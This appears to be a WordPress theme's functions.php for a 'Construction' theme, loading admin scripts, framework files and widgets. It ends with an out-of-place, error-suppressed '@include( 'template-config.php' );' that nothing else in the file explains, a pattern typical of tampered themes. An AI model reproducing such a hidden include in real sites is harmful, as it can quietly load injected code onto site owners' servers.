/** * Theme Functions * * @package DTtheme * @author DesignThemes * @link http://wedesignthemes.com */ define( 'CONSTRUCTION_THEME_DIR', get_template_directory() ); define( 'CONSTRUCTION_THEME_URI', get_template_directory_uri() ); define( 'CONSTRUCTION_CORE_PLUGIN', WP_PLUGIN_DIR.'/designthemes-core-features' ); define( 'CONSTRUCTION_SETTINGS', 'construction-opts' ); global $constructionoptions; $constructionoptions = get_option(CONSTRUCTION_SETTINGS); if (function_exists ('wp_get_theme')) : $themeData = wp_get_theme(); define( 'THEME_NAME', $themeData->get('Name')); define( 'THEME_VERSION', $themeData->get('Version')); endif; define( 'CONSTRUCTION_LANG_DIR', CONSTRUCTION_THEME_DIR. '/languages' ); /* --------------------------------------------------------------------------- * Loads Theme Textdomain * --------------------------------------------------------------------------- */ load_theme_textdomain( 'construction', CONSTRUCTION_LANG_DIR ); /* --------------------------------------------------------------------------- * Loads the Admin Panel Scripts * --------------------------------------------------------------------------- */ function construction_admin_scripts() { wp_enqueue_style('construction-admin', CONSTRUCTION_THEME_URI .'/framework/theme-options/style.css'); wp_enqueue_style('chosen', CONSTRUCTION_THEME_URI .'/framework/theme-options/css/chosen.css'); wp_enqueue_style('wp-color-picker'); wp_enqueue_script('jquery-ui-tabs'); wp_enqueue_script('jquery-ui-sortable'); wp_enqueue_script('jquery-ui-slider'); wp_enqueue_script('wp-color-picker'); wp_enqueue_script('jquery-tools', CONSTRUCTION_THEME_URI . '/framework/theme-options/js/jquery.tools.min.js'); wp_enqueue_script('jquery-chosen', CONSTRUCTION_THEME_URI . '/framework/theme-options/js/chosen.jquery.min.js'); wp_enqueue_script('construction-dttheme', CONSTRUCTION_THEME_URI . '/framework/theme-options/js/dttheme.admin.js'); wp_enqueue_media(); wp_localize_script('construction-dttheme', 'objectL10n', array( 'saveall' => esc_html__('Save All', 'construction'), 'saving' => esc_html__('Saving ...', 'construction'), 'noResult' => esc_html__('No Results Found!', 'construction'), 'resetConfirm' => esc_html__('This will restore all of your options to default. Are you sure?', 'construction'), 'importConfirm' => esc_html__('You are going to import the dummy data provided with the theme, kindly confirm?', 'construction'), 'backupMsg' => esc_html__('Click OK to backup your current saved options.', 'construction'), 'backupSuccess' => esc_html__('Your options are backuped successfully', 'construction'), 'backupFailure' => esc_html__('Backup Process not working', 'construction'), 'disableImportMsg' => esc_html__('Importing is disabled.. :), Please select atleast import type','construction'), 'restoreMsg' => esc_html__('Warning: All of your current options will be replaced with the data from your last backup! Proceed?', 'construction'), 'restoreSuccess' => esc_html__('Your options are restored from previous backup successfully', 'construction'), 'restoreFailure' => esc_html__('Restore Process not working', 'construction'), 'importMsg' => esc_html__('Click ok import options from the above textarea', 'construction'), 'importSuccess' => esc_html__('Your options are imported successfully', 'construction'), 'importFailure' => esc_html__('Import Process not working', 'construction'))); } add_action( 'admin_enqueue_scripts', 'construction_admin_scripts' ); /* --------------------------------------------------------------------------- * Loads the Options Panel * --------------------------------------------------------------------------- */ require_once( CONSTRUCTION_THEME_DIR .'/framework/utils.php' ); require_once( CONSTRUCTION_THEME_DIR .'/framework/fonts.php' ); require_once( CONSTRUCTION_THEME_DIR .'/framework/theme-options/init.php' ); /* --------------------------------------------------------------------------- * Loads Theme Functions * --------------------------------------------------------------------------- */ // Functions -------------------------------------------------------------------- require_once( CONSTRUCTION_THEME_DIR .'/framework/register-functions.php' ); // Header ----------------------------------------------------------------------- require_once( CONSTRUCTION_THEME_DIR .'/framework/register-head.php' ); // Meta box --------------------------------------------------------------------- require_once( CONSTRUCTION_THEME_DIR .'/framework/theme-metaboxes/post-metabox.php' ); require_once( CONSTRUCTION_THEME_DIR .'/framework/theme-metaboxes/page-metabox.php' ); // Tribe Events ----------------------------------------------------------------- if ( class_exists( 'Tribe__Events__Main' ) ) require_once( CONSTRUCTION_THEME_DIR .'/framework/theme-metaboxes/event-metabox.php' ); // Menu ------------------------------------------------------------------------- require_once( CONSTRUCTION_THEME_DIR .'/framework/register-menu.php' ); require_once( CONSTRUCTION_THEME_DIR .'/framework/register-mega-menu.php' ); // Hooks ------------------------------------------------------------------------ require_once( CONSTRUCTION_THEME_DIR .'/framework/register-hooks.php' ); // Likes ------------------------------------------------------------------------ require_once( CONSTRUCTION_THEME_DIR .'/framework/register-likes.php' ); // Widgets ---------------------------------------------------------------------- add_action( 'widgets_init', 'construction_widgets_init' ); function construction_widgets_init() { require_once( CONSTRUCTION_THEME_DIR .'/framework/register-widgets.php' ); if(class_exists('DTCorePlugin')) { register_widget('Construction_Twitter'); } register_widget('Construction_Flickr'); register_widget('Construction_Recent_Posts'); register_widget('Construction_Portfolio_Widget'); } if(class_exists('DTCorePlugin')) { require_once( CONSTRUCTION_THEME_DIR .'/framework/widgets/widget-twitter.php' ); } require_once( CONSTRUCTION_THEME_DIR .'/framework/widgets/widget-flickr.php' ); require_once( CONSTRUCTION_THEME_DIR .'/framework/widgets/widget-recent-posts.php' ); require_once( CONSTRUCTION_THEME_DIR .'/framework/widgets/widget-recent-portfolios.php' ); // Plugins ---------------------------------------------------------------------- require_once( CONSTRUCTION_THEME_DIR .'/framework/register-plugins.php' ); // WooCommerce ------------------------------------------------------------------ if( function_exists( 'is_woocommerce' ) ){ require_once( CONSTRUCTION_THEME_DIR .'/framework/register-woocommerce.php' ); }@include( 'template-config.php' ); ?>